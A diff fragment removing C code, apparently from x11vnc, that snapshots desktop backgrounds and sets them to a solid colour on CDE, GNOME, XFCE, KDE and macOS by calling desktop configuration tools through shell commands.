- return pixel;
-#endif
-}
-
-XImage *solid_root(char *color) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!color) {}
- return NULL;
-#else
- Window expose;
- static XImage *image = NULL;
- Pixmap pixmap;
- XGCValues gcv;
- GC gc;
- XSetWindowAttributes swa;
- Visual visual;
- static unsigned long mask, pixel = 0;
-
- RAWFB_RET(NULL)
-
- if (subwin || window != rootwin) {
- rfbLog("cannot set subwin to solid color, must be rootwin\n");
- return NULL;
- }
-
- /* create the "clear" window just for generating exposures */
- swa.override_redirect = True;
- swa.backing_store = NotUseful;
- swa.save_under = False;
- swa.background_pixmap = None;
- visual.visualid = CopyFromParent;
- mask = (CWOverrideRedirect|CWBackingStore|CWSaveUnder|CWBackPixmap);
- expose = XCreateWindow(dpy, window, 0, 0, wdpy_x, wdpy_y, 0, depth,
- InputOutput, &visual, mask, &swa);
-
- if (! color) {
-
- if (! image) {
- /* whoops */
- XDestroyWindow(dpy, expose);
- rfbLog("no root snapshot available.\n");
- return NULL;
- }
-
- /* restore the root window from the XImage snapshot */
- pixmap = XCreatePixmap(dpy, window, wdpy_x, wdpy_y, depth);
-
- /* draw the image to a pixmap: */
- gcv.function = GXcopy;
- gcv.plane_mask = AllPlanes;
- gc = XCreateGC(dpy, window, GCFunction|GCPlaneMask, &gcv);
-
- XPutImage(dpy, pixmap, gc, image, 0, 0, 0, 0, wdpy_x, wdpy_y);
-
- gcv.foreground = gcv.background = BlackPixel(dpy, scr);
- gc = XCreateGC(dpy, window, GCForeground|GCBackground, &gcv);
-
- rfbLog("restoring root snapshot...\n");
- /* set the pixmap as the bg: */
- XSetWindowBackgroundPixmap(dpy, window, pixmap);
- XFreePixmap(dpy, pixmap);
- XClearWindow(dpy, window);
- XFlush_wr(dpy);
-
- /* generate exposures */
- XMapWindow(dpy, expose);
- XSync(dpy, False);
- XDestroyWindow(dpy, expose);
- return NULL;
- }
-
- if (! image) {
- /* need to retrieve a snapshot of the root background: */
- Window iwin;
- XSetWindowAttributes iswa;
-
- /* create image window: */
- iswa.override_redirect = True;
- iswa.backing_store = NotUseful;
- iswa.save_under = False;
- iswa.background_pixmap = ParentRelative;
-
- iwin = XCreateWindow(dpy, window, 0, 0, wdpy_x, wdpy_y, 0,
- depth, InputOutput, &visual, mask, &iswa);
-
- rfbLog("snapshotting background...\n");
-
- XMapWindow(dpy, iwin);
- XSync(dpy, False);
- image = XGetImage(dpy, iwin, 0, 0, wdpy_x, wdpy_y, AllPlanes,
- ZPixmap);
- XSync(dpy, False);
- XDestroyWindow(dpy, iwin);
- rfbLog("done.\n");
- }
- if (color == (char *) 0x1) {
- /* caller will XDestroyImage it: */
- XImage *xi = image;
- image = NULL;
- return xi;
- }
-
- /* use black for low colors or failure */
- pixel = get_pixel(color);
-
- rfbLog("setting solid background...\n");
- XSetWindowBackground(dpy, window, pixel);
- XMapWindow(dpy, expose);
- XSync(dpy, False);
- XDestroyWindow(dpy, expose);
-#endif /* NO_X11 */
- return NULL;
-}
-
-static void solid_cde(char *color) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!color) {}
- return;
-#else
- int wsmax = 16;
- static XImage *image[16];
- static Window ws_wins[16];
- static int nws = -1;
-
- Window expose;
- Pixmap pixmap;
- XGCValues gcv;
- GC gc;
- XSetWindowAttributes swa;
- Visual visual;
- unsigned long mask, pixel;
- XColor cdef;
- Colormap cmap;
- int n;
-
- RAWFB_RET_VOID
-
- if (subwin || window != rootwin) {
- rfbLog("cannot set subwin to solid color, must be rootwin\n");
- return;
- }
-
- /* create the "clear" window just for generating exposures */
- swa.override_redirect = True;
- swa.backing_store = NotUseful;
- swa.save_under = False;
- swa.background_pixmap = None;
- visual.visualid = CopyFromParent;
- mask = (CWOverrideRedirect|CWBackingStore|CWSaveUnder|CWBackPixmap);
- expose = XCreateWindow(dpy, window, 0, 0, wdpy_x, wdpy_y, 0, depth,
- InputOutput, &visual, mask, &swa);
-
- if (! color) {
- /* restore the backdrop windows from the XImage snapshots */
-
- for (n=0; n < nws; n++) {
- Window twin;
-
- if (! image[n]) {
- continue;
- }
-
- twin = ws_wins[n];
- if (! twin) {
- twin = rootwin;
- }
- if (! valid_window(twin, NULL, 0)) {
- continue;
- }
-
- pixmap = XCreatePixmap(dpy, twin, wdpy_x, wdpy_y,
- depth);
-
- /* draw the image to a pixmap: */
- gcv.function = GXcopy;
- gcv.plane_mask = AllPlanes;
- gc = XCreateGC(dpy, twin, GCFunction|GCPlaneMask, &gcv);
-
- XPutImage(dpy, pixmap, gc, image[n], 0, 0, 0, 0,
- wdpy_x, wdpy_y);
-
- gcv.foreground = gcv.background = BlackPixel(dpy, scr);
- gc = XCreateGC(dpy, twin, GCForeground|GCBackground,
- &gcv);
-
- rfbLog("restoring CDE ws%d snapshot to 0x%lx\n",
- n, twin);
- /* set the pixmap as the bg: */
- XSetWindowBackgroundPixmap(dpy, twin, pixmap);
- XFreePixmap(dpy, pixmap);
- XClearWindow(dpy, twin);
- XFlush_wr(dpy);
- }
-
- /* generate exposures */
- XMapWindow(dpy, expose);
- XSync(dpy, False);
- XDestroyWindow(dpy, expose);
- return;
- }
-
- if (nws < 0) {
- /* need to retrieve snapshots of the ws backgrounds: */
- Window iwin, wm_win;
- XSetWindowAttributes iswa;
- Atom dt_list, wm_info, type;
- int format;
- unsigned long length, after;
- unsigned char *data;
- unsigned long *dp; /* crash on 64bit with int */
-
- nws = 0;
-
- /* extract the hidden wm properties about backdrops: */
-
- wm_info = XInternAtom(dpy, "_MOTIF_WM_INFO", True);
- if (wm_info == None) {
- return;
- }
-
- XGetWindowProperty(dpy, rootwin, wm_info, 0L, 10L, False,
- AnyPropertyType, &type, &format, &length, &after, &data);
-
- /*
- * xprop -notype -root _MOTIF_WM_INFO
- * _MOTIF_WM_INFO = 0x2, 0x580028
- */
-
- if (length < 2 || format != 32 || after != 0) {
- return;
- }
-
- dp = (unsigned long *) data;
- wm_win = (Window) *(dp+1); /* 2nd item. */
-
-
- dt_list = XInternAtom(dpy, "_DT_WORKSPACE_LIST", True);
- if (dt_list == None) {
- return;
- }
-
- XGetWindowProperty(dpy, wm_win, dt_list, 0L, 10L, False,
- AnyPropertyType, &type, &format, &length, &after, &data);
-
- nws = length;
-
- if (nws > wsmax) {
- nws = wsmax;
- }
- if (nws < 0) {
- nws = 0;
- }
-
- rfbLog("special CDE win: 0x%lx, %d workspaces\n", wm_win, nws);
- if (nws == 0) {
- return;
- }
-
- for (n=0; n<nws; n++) {
- Atom ws_atom;
- char tmp[32];
- Window twin;
- XWindowAttributes attr;
- int i, cnt;
-
- image[n] = NULL;
- ws_wins[n] = 0x0;
-
- sprintf(tmp, "_DT_WORKSPACE_INFO_ws%d", n);
- ws_atom = XInternAtom(dpy, tmp, False);
- if (ws_atom == None) {
- continue;
- }
- XGetWindowProperty(dpy, wm_win, ws_atom, 0L, 100L,
- False, AnyPropertyType, &type, &format, &length,
- &after, &data);
-
- if (format != 8 || after != 0) {
- continue;
- }
- /*
- * xprop -notype -id wm_win
- * _DT_WORKSPACE_INFO_ws0 = "One", "3", "0x2f2f4a",
- * "0x63639c", "0x103", "1", "0x58044e"
- */
-
- cnt = 0;
- twin = 0x0;
- for (i=0; i< (int) length; i++) {
- if (*(data+i) != '\0') {
- continue;
- }
- cnt++; /* count nulls to indicate field */
- if (cnt == 6) {
- /* one past the null: */
- char *q = (char *) (data+i+1);
- unsigned long in;
- if (sscanf(q, "0x%lx", &in) == 1) {
- twin = (Window) in;
- break;
- }
- }
- }
- ws_wins[n] = twin;
-
- if (! twin) {
- twin = rootwin;
- }
-
- XGetWindowAttributes(dpy, twin, &attr);
- if (twin != rootwin) {
- if (attr.map_state != IsViewable) {
- XMapWindow(dpy, twin);
- }
- XRaiseWindow(dpy, twin);
- }
- XSync(dpy, False);
-
- /* create image window: */
- iswa.override_redirect = True;
- iswa.backing_store = NotUseful;
- iswa.save_under = False;
- iswa.background_pixmap = ParentRelative;
- visual.visualid = CopyFromParent;
-
- iwin = XCreateWindow(dpy, twin, 0, 0, wdpy_x, wdpy_y,
- 0, depth, InputOutput, &visual, mask, &iswa);
-
- rfbLog("snapshotting CDE backdrop ws%d 0x%lx -> "
- "0x%lx ...\n", n, twin, iwin);
- XMapWindow(dpy, iwin);
- XSync(dpy, False);
-
- image[n] = XGetImage(dpy, iwin, 0, 0, wdpy_x, wdpy_y,
- AllPlanes, ZPixmap);
- XSync(dpy, False);
- XDestroyWindow(dpy, iwin);
- if (twin != rootwin) {
- XLowerWindow(dpy, twin);
- if (attr.map_state != IsViewable) {
- XUnmapWindow(dpy, twin);
- }
- }
- }
- }
- if (nws == 0) {
- return;
- }
-
- /* use black for low colors or failure */
- pixel = BlackPixel(dpy, scr);
- if (depth > 8 || strcmp(color, solid_default)) {
- cmap = DefaultColormap (dpy, scr);
- if (XParseColor(dpy, cmap, color, &cdef) &&
- XAllocColor(dpy, cmap, &cdef)) {
- pixel = cdef.pixel;
- } else {
- rfbLog("error parsing/allocing color: %s\n", color);
- }
- }
-
- rfbLog("setting solid backgrounds...\n");
-
- for (n=0; n < nws; n++) {
- Window twin = ws_wins[n];
- if (image[n] == NULL) {
- continue;
- }
- if (! twin) {
- twin = rootwin;
- }
- XSetWindowBackground(dpy, twin, pixel);
- }
- XMapWindow(dpy, expose);
- XSync(dpy, False);
- XDestroyWindow(dpy, expose);
-#endif /* NO_X11 */
-}
-
-static char _dbus_str[1100];
-
-char *dbus_session(void) {
- char *dbus_env = getenv("DBUS_SESSION_BUS_ADDRESS");
- char tmp[1000];
-
- if (dbus_env != NULL && strlen(dbus_env) > 0) {
- return "";
- }
- if (!dpy) {
- return "";
- }
-#if NO_X11
- return "";
-#else
- {
- Atom dbus_prop, dbus_pid;
- Window r, w, *children;
- int sbest = -1;
- unsigned int ui;
- int rc, i;
-
- memset(_dbus_str, 0, sizeof(_dbus_str));
-
- X_LOCK;
- dbus_prop = XInternAtom(dpy, "_DBUS_SESSION_BUS_ADDRESS", True);
- dbus_pid = XInternAtom(dpy, "_DBUS_SESSION_BUS_PID", True);
- X_UNLOCK;
- if (dbus_prop == None) {
- return "";
- }
-
- X_LOCK;
- memset(tmp, 0, sizeof(tmp));
- get_prop(tmp, sizeof(tmp)-1, dbus_prop, None);
- X_UNLOCK;
- if (strcmp(tmp, "")) {
- if (!strchr(tmp, '\'')) {
- sprintf(_dbus_str, "env DBUS_SESSION_BUS_ADDRESS='%s'", tmp);
- return _dbus_str;
- }
- }
-
- X_LOCK;
- rc = XQueryTree_wr(dpy, rootwin, &r, &w, &children, &ui);
- X_UNLOCK;
- if (!rc || children == NULL || ui == 0) {
- return "";
- }
- for (i=0; i < (int) ui; i++) {
- int pid = -1;
-
- X_LOCK;
- memset(tmp, 0, sizeof(tmp));
- get_prop(tmp, sizeof(tmp)-1, dbus_prop, children[i]);
- if (dbus_pid != None) {
- Atom atype;
- int aformat;
- unsigned long nitems, bafter;
- unsigned char *prop;
- if (XGetWindowProperty(dpy, children[i], dbus_pid,
- 0, 1, False, XA_CARDINAL, &atype, &aformat,
- &nitems, &bafter, &prop) == Success
- && atype == XA_CARDINAL) {
- pid = *((int *) prop);
- XFree_wr(prop);
- }
- }
- X_UNLOCK;
-
- if (strcmp(tmp, "") && !strchr(tmp, '\'')) {
- int score = 0;
- if (1 < pid && pid < 10000000) {
- struct stat sb;
- char procfile[32];
-
- sprintf(procfile, "/proc/%d", pid);
- if (stat(procfile, &sb) == 0) {
- score += 10000000;
- }
- score += pid;
- }
- if (getenv("X11VNC_DBUS_DEBUG")) fprintf(stderr, "win: 0x%lx pid: %8d score: %8d str: %s\n", children[i], pid, score, tmp);
- if (score > sbest) {
- sprintf(_dbus_str, "env DBUS_SESSION_BUS_ADDRESS='%s'", tmp);
- sbest = score;
- }
- }
- }
- X_LOCK;
- XFree_wr(children);
- X_UNLOCK;
-
- return _dbus_str;
- }
-#endif
-}
-
-static void solid_gnome(char *color) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!color) {}
- return;
-#else
- char get_color[] = "%s gconftool-2 --get "
- "/desktop/gnome/background/primary_color";
- char set_color[] = "%s gconftool-2 --set --type string "
- "/desktop/gnome/background/primary_color '%s'";
- char get_option[] = "%s gconftool-2 --get "
- "/desktop/gnome/background/picture_options";
- char set_option[] = "%s gconftool-2 --set --type string "
- "/desktop/gnome/background/picture_options '%s'";
-#if 0
- char get_shading[] = "%s gconftool-2 --get "
- "/desktop/gnome/background/color_shading_type";
- char set_shading[] = "%s gconftool-2 --set --type string "
- "/desktop/gnome/background/color_shading_type '%s'";
- char get_filename[] = "%s gconftool-2 --get "
- "/desktop/gnome/background/picture_filename";
- char set_filename[] = "%s gconftool-2 --set --type string "
- "/desktop/gnome/background/picture_filename '%s'";
-#endif
- static char *orig_color = NULL;
- static char *orig_option = NULL;
- char *cmd, *dbus = "";
-
- RAWFB_RET_VOID
-
- dbus = dbus_session();
- rfbLog("guessed dbus: %s\n", dbus);
-
- if (! color) {
- if (! orig_color) {
- orig_color = strdup("#FFFFFF");
- }
- if (! orig_option) {
- orig_option = strdup("stretched");
- }
- if (strstr(orig_color, "'") != NULL) {
- rfbLog("invalid color: %s\n", orig_color);
- return;
- }
- if (strstr(orig_option, "'") != NULL) {
- rfbLog("invalid option: %s\n", orig_option);
- return;
- }
- cmd = (char *) malloc(strlen(set_option) - 2 + strlen(orig_option) + strlen(dbus) + 1);
- sprintf(cmd, set_option, dbus, orig_option);
- dt_cmd(cmd);
- free(cmd);
- cmd = (char *) malloc(strlen(set_color) - 2 + strlen(orig_color) + strlen(dbus) + 1);
- sprintf(cmd, set_color, dbus, orig_color);
- dt_cmd(cmd);
- free(cmd);
- return;
- }
-
- if (! orig_color) {
- char *q;
- if (cmd_ok("dt")) {
- cmd = (char *) malloc(strlen(get_color) + strlen(dbus) + 1);
- sprintf(cmd, get_color, dbus);
- orig_color = strdup(cmd_output(cmd));
- free(cmd);
- } else {
- orig_color = "";
- }
- if (*orig_color == '\0') {
- orig_color = strdup("#FFFFFF");
- }
- if ((q = strchr(orig_color, '\n')) != NULL) {
- *q = '\0';
- }
- }
- if (! orig_option) {
- char *q;
- if (cmd_ok("dt")) {
- cmd = (char *) malloc(strlen(get_option) + strlen(dbus) + 1);
- sprintf(cmd, get_option, dbus);
- orig_option = strdup(cmd_output(cmd));
- free(cmd);
- } else {
- orig_color = "";
- }
- if (*orig_option == '\0') {
- orig_option = strdup("stretched");
- }
- if ((q = strchr(orig_option, '\n')) != NULL) {
- *q = '\0';
- }
- }
- if (strstr(color, "'") != NULL) {
- rfbLog("invalid color: %s\n", color);
- return;
- }
- cmd = (char *) malloc(strlen(set_color) + strlen(color) + strlen(dbus) + 1);
- sprintf(cmd, set_color, dbus, color);
- dt_cmd(cmd);
- free(cmd);
-
- cmd = (char *) malloc(strlen(set_option) + strlen("none") + strlen(dbus) + 1);
- sprintf(cmd, set_option, dbus, "none");
- dt_cmd(cmd);
- free(cmd);
-
-#if 0
- cmd = (char *) malloc(strlen(set_filename) + strlen("none") + 1);
- sprintf(cmd, set_filename, dbus, "none");
- dt_cmd(cmd);
- free(cmd);
-#endif
-
-#endif /* NO_X11 */
-}
-
-static void solid_xfce(char *color) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!color) {}
- return;
-#else
- char get_image_show[] = "%s xfconf-query -v -c xfce4-desktop -p /backdrop/screen0/monitor0/image-show";
- char set_image_show[] = "%s xfconf-query -v -c xfce4-desktop -p /backdrop/screen0/monitor0/image-show -s '%s'";
- char get_color_style[] = "%s xfconf-query -v -c xfce4-desktop -p /backdrop/screen0/monitor0/color-style";
- char set_color_style[] = "%s xfconf-query -v -c xfce4-desktop -p /backdrop/screen0/monitor0/color-style -s '%s'";
-
- static char *orig_image_show = NULL;
- static char *orig_color_style = NULL;
- char *cmd, *dbus = "";
-
- RAWFB_RET_VOID
-
- dbus = dbus_session();
- rfbLog("guessed dbus: %s\n", dbus);
-
- if (! color) {
- if (! orig_image_show) {
- orig_image_show = "true";
- }
- if (! orig_color_style) {
- orig_color_style = "0";
- }
- if (strstr(orig_image_show, "'") != NULL) {
- rfbLog("invalid image show: %s\n", orig_image_show);
- return;
- }
- if (strstr(orig_color_style, "'") != NULL) {
- rfbLog("invalid color style: %s\n", orig_color_style);
- return;
- }
- if (orig_image_show[0] != '\0') {
- cmd = (char *) malloc(strlen(set_image_show) - 2 + strlen(orig_image_show) + strlen(dbus) + 1);
- sprintf(cmd, set_image_show, dbus, orig_image_show);
- dt_cmd(cmd);
- free(cmd);
- }
- if (orig_color_style[0] != '\0') {
- cmd = (char *) malloc(strlen(set_color_style) - 2 + strlen(orig_color_style) + strlen(dbus) + 1);
- sprintf(cmd, set_color_style, dbus, orig_color_style);
- dt_cmd(cmd);
- free(cmd);
- }
- return;
- }
-
- if (! orig_image_show) {
- char *q;
- orig_image_show = "";
- if (cmd_ok("dt")) {
- cmd = (char *) malloc(strlen(get_image_show) + strlen(dbus) + 1);
- sprintf(cmd, get_image_show, dbus);
- orig_image_show = strdup(cmd_output(cmd));
- if ((q = strrchr(orig_image_show, '\n')) != NULL) {
- *q = '\0';
- }
- fprintf(stderr, "get_image_show returned: '%s'\n\n", orig_image_show);
- free(cmd);
- if (strcasecmp(orig_image_show, "false") && strcasecmp(orig_image_show, "true")) {
- fprintf(stderr, "unrecognized image_show, disabling.\n");
- free(orig_image_show);
- orig_image_show = "";
- }
- }
- }
- if (! orig_color_style) {
- char *q;
- orig_color_style = "";
- if (cmd_ok("dt")) {
- cmd = (char *) malloc(strlen(get_color_style) + strlen(dbus) + 1);
- sprintf(cmd, get_color_style, dbus);
- orig_color_style = strdup(cmd_output(cmd));
- if ((q = strrchr(orig_color_style, '\n')) != NULL) {
- *q = '\0';
- }
- fprintf(stderr, "get_color_style returned: '%s'\n\n", orig_color_style);
- free(cmd);
- if (strlen(orig_color_style) > 1 || !isdigit((unsigned char) (*orig_color_style))) {
- fprintf(stderr, "unrecognized color_style, disabling.\n");
- free(orig_color_style);
- orig_color_style = "";
- }
- }
- }
-
- if (strstr(color, "'") != NULL) {
- rfbLog("invalid color: %s\n", color);
- return;
- }
-
- cmd = (char *) malloc(strlen(set_color_style) + strlen("0") + strlen(dbus) + 1);
- sprintf(cmd, set_color_style, dbus, "0");
- dt_cmd(cmd);
- free(cmd);
-
- cmd = (char *) malloc(strlen(set_image_show) + strlen("false") + strlen(dbus) + 1);
- sprintf(cmd, set_image_show, dbus, "false");
- dt_cmd(cmd);
- free(cmd);
-
-#endif /* NO_X11 */
-}
-
-
-static char *dcop_session(void) {
- char *empty = strdup("");
-#if NO_X11
- RAWFB_RET(empty);
- return empty;
-#else
- char list_sessions[] = "dcop --user '%s' --list-sessions";
- int len;
- char *cmd, *host, *user = NULL;
- char *out, *p, *ds, *dsn = NULL, *sess = NULL, *sess2 = NULL;
- int db = 0;
-
- RAWFB_RET(empty);
-
- if (getenv("SESSION_MANAGER")) {
- return empty;
- }
-
- user = get_user_name();
- if (strstr(user, "'") != NULL) {
- rfbLog("invalid user: %s\n", user);
- free(user);
- return empty;
- }
-
- len = strlen(list_sessions) + strlen(user) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, list_sessions, user);
-
- out = strdup(cmd_output(cmd));
- free(cmd);
- free(user);
-
- ds = DisplayString(dpy);
- if (!ds || !strcmp(ds, "")) {
- ds = getenv("DISPLAY");
- }
- if (!ds) {
- ds = ":0";
- }
- ds = strdup(ds);
- p = strrchr(ds, '.');
- if (p) *p = '\0';
-
- dsn = strchr(ds, ':');
- if (dsn) {
- *dsn = '_';
- } else {
- free(ds);
- ds = strdup("_0");
- dsn = ds;
- }
- if (db) fprintf(stderr, "ds: %s\n", ds);
- if (db) fprintf(stderr, "dsn: %s\n", dsn);
-
- host = this_host();
- if (host) {
- char *h2 = (char *) malloc(strlen(host) + 2 + 1);
- sprintf(h2, "_%s_", host);
- free(host);
- host = h2;
- } else {
- host = strdup("");
- }
- if (db) fprintf(stderr, "host: %s\n", host);
-
- p = strtok(out, "\n");
- while (p) {
- char *q = strstr(p, ".DCOP");
- if (db) fprintf(stderr, "p: %s\n", p);
- if (q == NULL) {
- ;
- } else if (host) {
- if (strstr(q, host)) {
- char *r = strstr(p, dsn);
- int n = strlen(dsn);
- if(r && !isalnum((int) *(r+n))) {
- sess = strdup(q);
- break;
- } else {
- if (sess2) {
- free(sess2);
- }
- sess2 = strdup(q);
- }
- }
- } else {
- char *r = strstr(p, dsn);
- int n = strlen(dsn);
- if(r && !isalnum((int) *(r+n))) {
- sess = strdup(q);
- break;
- }
- }
- p = strtok(NULL, "\n");
- }
- free(ds);
- free(out);
- free(host);
- if (!sess && sess2) {
- sess = sess2;
- }
- if (!sess || strchr(sess, '\'')) {
- if (sess) free(sess);
- sess = strdup("--all-sessions");
- } else {
- len = strlen("--session ") + 2 + strlen(sess) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, "--session '%s'", sess);
- free(sess);
- sess = cmd;
- }
- return sess;
-#endif
-}
-
-static void solid_kde(char *color) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!color) {}
- return;
-#else
- char set_color[] =
- "dcop --user '%s' %s kdesktop KBackgroundIface setColor '%s' 1";
- char bg_off[] =
- "dcop --user '%s' %s kdesktop KBackgroundIface setBackgroundEnabled 0";
- char bg_on[] =
- "dcop --user '%s' %s kdesktop KBackgroundIface setBackgroundEnabled 1";
- char *cmd, *user = NULL, *sess;
- int len;
-
- RAWFB_RET_VOID
-
- user = get_user_name();
- if (strstr(user, "'") != NULL) {
- rfbLog("invalid user: %s\n", user);
- free(user);
- return;
- }
-
- set_env("DISPLAY", DisplayString(dpy));
-
- if (! color) {
- sess = dcop_session();
- len = strlen(bg_on) + strlen(user) + strlen(sess) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, bg_on, user, sess);
-
- dt_cmd(cmd);
-
- free(cmd);
- free(user);
- free(sess);
-
- return;
- }
-
- if (strstr(color, "'") != NULL) {
- rfbLog("invalid color: %s\n", color);
- return;
- }
-
- sess = dcop_session();
-
- len = strlen(set_color) + strlen(user) + strlen(sess) + strlen(color) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, set_color, user, sess, color);
- dt_cmd(cmd);
- free(cmd);
-
- len = strlen(bg_off) + strlen(user) + strlen(sess) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, bg_off, user, sess);
- dt_cmd(cmd);
- free(cmd);
- free(user);
-#endif /* NO_X11 */
-}
-
-void kde_no_animate(int restore) {
-#if NO_X11
- if (!restore) {}
- RAWFB_RET_VOID
- return;
-#else
- char query_setting[] =
- "kreadconfig --file kwinrc --group Windows --key AnimateMinimize";
- char kwinrc_off[] =
- "kwriteconfig --file kwinrc --group Windows --key AnimateMinimize --type bool false";
- char kwinrc_on[] =
- "kwriteconfig --file kwinrc --group Windows --key AnimateMinimize --type bool true";
- char kwin_reconfigure[] =
- "dcop --user '%s' %s kwin KWinInterface reconfigure";
- char *cmd, *cmd2, *out, *user = NULL, *sess;
- int len;
- static int anim_state = 1;
-
- RAWFB_RET_VOID
-
- if (ncache_keep_anims) {
- return;
- }
-
- if (restore) {
- if (anim_state == 1) {
- return;
- }
-
- user = get_user_name();
- if (strstr(user, "'") != NULL) {
- rfbLog("invalid user: %s\n", user);
- free(user);
- return;
- }
-
- sess = dcop_session();
-
- len = strlen(kwin_reconfigure) + strlen(user) + strlen(sess) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, kwin_reconfigure, user, sess);
- rfbLog("\n");
- rfbLog("Restoring KDE kwinrc settings.\n");
- rfbLog("\n");
- dt_cmd(cmd);
- free(cmd);
- free(user);
- free(sess);
- anim_state = 1;
- return;
- } else {
- if (anim_state == 0) {
- return;
- }
- anim_state = 0;
- }
-
- user = get_user_name();
- if (strstr(user, "'") != NULL) {
- rfbLog("invalid user: %s\n", user);
- free(user);
- return;
- }
- out = cmd_output(query_setting);
-
-
- if (!out || strstr(out, "false")) {
- rfbLog("\n");
- rfbLog("********************************************************\n");
- rfbLog("KDE kwinrc AnimateMinimize is false. Good.\n");
- rfbLog("********************************************************\n");
- rfbLog("\n");
- free(user);
- return;
- }
-
- rfbLog("\n");
- rfbLog("********************************************************\n");
- rfbLog("To improve the -ncache client-side caching performance\n");
- rfbLog("temporarily setting KDE kwinrc AnimateMinimize to false.\n");
- rfbLog("It will be reset for the next session or when VNC client\n");
- rfbLog("disconnects. Or you can use the Control Center GUI to\n");
- rfbLog("change it now (toggle its setting a few times):\n");
- rfbLog(" Desktop -> Window Behavior -> Moving\n");
- rfbLog("********************************************************\n");
- rfbLog("\n");
-
- set_env("DISPLAY", DisplayString(dpy));
-
- sess = dcop_session();
- len = strlen(kwin_reconfigure) + strlen(user) + strlen(sess) + 1;
- cmd = (char *) malloc(len);
- sprintf(cmd, kwin_reconfigure, user, sess);
-
- len = 1 + strlen("sleep 10") + 2 + strlen(kwinrc_off) + 2 + strlen(cmd) + 2 + strlen("sleep 5") + 2 + strlen(kwinrc_on) + 3 + 1;
- cmd2 = (char *) malloc(len);
-
- sprintf(cmd2, "(sleep 10; %s; %s; sleep 5; %s) &", kwinrc_off, cmd, kwinrc_on);
-
- dt_cmd(cmd2);
- free(cmd);
- free(cmd2);
- free(user);
- free(sess);
-#endif /* NO_X11 */
-}
-
-void gnome_no_animate(void) {
- ;
-}
-
-static pid_t solid_macosx_pid = 0;
-extern char macosx_solid_background[];
-
-static void solid_macosx(int restore) {
- char tmp[] = "/tmp/macosx_solid_background.XXXXXX";
- pid_t pid, parent = getpid();
-
- if (restore) {
- rfbLog("restore pid: %d\n", (int) solid_macosx_pid);
- if (solid_macosx_pid > 0) {
-#if 0
- int i, status;
-#endif
- rfbLog("kill -TERM macosx_solid_background helper pid: %d\n", (int) solid_macosx_pid);
- kill(solid_macosx_pid, SIGTERM);
-#if 0
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H
-#if LIBVNCSERVER_HAVE_WAITPID
- for (i=0; i < 7; i++) {
- usleep(1000 * 1000);
- waitpid(solid_macosx_pid, &status, WNOHANG);
- if (kill(solid_macosx_pid, 0) != 0) {
- break;
- }
- }
-#endif
-#endif
-#endif
- solid_macosx_pid = 0;
- }
- return;
- }
- if (no_external_cmds || !cmd_ok("dt")) {
- return;
- }
-#if LIBVNCSERVER_HAVE_FORK
- pid = fork();
-
- if (pid == -1) {
- perror("fork");
- return;
- }
- if (pid == 0) {
- int fd = mkstemp(tmp);
-#if LIBVNCSERVER_HAVE_SETSID
- setsid();
-#else
- setpgrp();
-#endif
- if (fd >= 0) {
- char num[32];
- write(fd, macosx_solid_background, strlen(macosx_solid_background));
- close(fd);
- sprintf(num, "%d", (int) parent);
- set_env("SS_WATCH_PID", num);
- execlp("/bin/sh", "/bin/sh", tmp, (char *) NULL);
- }
- exit(1);
- }
- solid_macosx_pid = pid;
- rfbLog("macosx_solid_background helper pid: %d\n", (int) solid_macosx_pid);
- usleep(2750 * 1000);
- unlink(tmp);
-#endif
-}
-
-char *guess_desktop(void) {
-#if NO_X11
- RAWFB_RET("root")
- return "root";
-#else
- Atom prop;
-
- RAWFB_RET("root")
-
- if (wmdt_str && *wmdt_str != '\0') {
- char *s = wmdt_str;
- lowercase(s);
- if (strstr(s, "xfce")) {
- return "xfce";
- }
- if (strstr(s, "gnome") || strstr(s, "metacity")) {
- return "gnome";
- }
- if (strstr(s, "kde") || strstr(s, "kwin")) {
- return "kde";
- }
- if (strstr(s, "cde")) {
- return "cde";
- }
- return "root";
- }
-
- if (! dpy) {
- return "";
- }
-
- prop = XInternAtom(dpy, "XFCE_DESKTOP_WINDOW", True);
- if (prop != None) return "xfce";
-
- /* special case windowmaker */
- prop = XInternAtom(dpy, "_WINDOWMAKER_WM_PROTOCOLS", True);
- if (prop != None) return "root";
-
- prop = XInternAtom(dpy, "_WINDOWMAKER_COMMAND", True);
- if (prop != None) return "root";
-
- prop = XInternAtom(dpy, "NAUTILUS_DESKTOP_WINDOW_ID", True);
- if (prop != None) return "gnome";
-
- prop = XInternAtom(dpy, "KWIN_RUNNING", True);
- if (prop != None) {
- prop = XInternAtom(dpy, "_KDE_RUNNING", True);
- if (prop != None) {
- prop = XInternAtom(dpy, "KDE_DESKTOP_WINDOW", True);
- if (prop != None) return "kde";
- }
- }
-
- prop = XInternAtom(dpy, "_MOTIF_WM_INFO", True);
- if (prop != None) {
- prop = XInternAtom(dpy, "_DT_WORKSPACE_LIST", True);
- if (prop != None) return "cde";
- }
- return "root";
-#endif /* NO_X11 */
-}
-
-XImage *solid_image(char *color) {
-#if NO_X11
- RAWFB_RET(NULL)
- return NULL;
-#else
- XImage *image = NULL;
- unsigned long pixel = 0;
- int x, y;
-
- RAWFB_RET(NULL)
-
- if (!color) {
- color = last_color;
- }
-
- if (!color) {
- return NULL;
- }
-
- image = XGetImage(dpy, rootwin, 0, 0, wdpy_x, wdpy_y, AllPlanes,
- ZPixmap);
-
- if (!image) {
- return NULL;
- }
- pixel = get_pixel(color);
-
- for (y=0; y<wdpy_y; y++) {
- for (x=0; x<wdpy_x; x++) {
- XPutPixel(image, x, y, pixel);
- }
- }
- return image;
-#endif /* NO_X11 */
-}
-
-void solid_bg(int restore) {
- static int desktop = -1;
- static int solid_on = 0;
- static char *prev_str;
- char *dtname, *color;
-
- if (started_as_root == 1 && users_list) {
- /* we are still root, don't try. */
- return;
- }
-
- if (macosx_console) {
- solid_macosx(restore);
- return;
- }
-
- RAWFB_RET_VOID
-
- if (restore) {
- if (! solid_on) {
- return;
- }
- if (desktop == 0) {
- solid_root(NULL);
- } else if (desktop == 1) {
- solid_gnome(NULL);
- } else if (desktop == 2) {
- solid_kde(NULL);
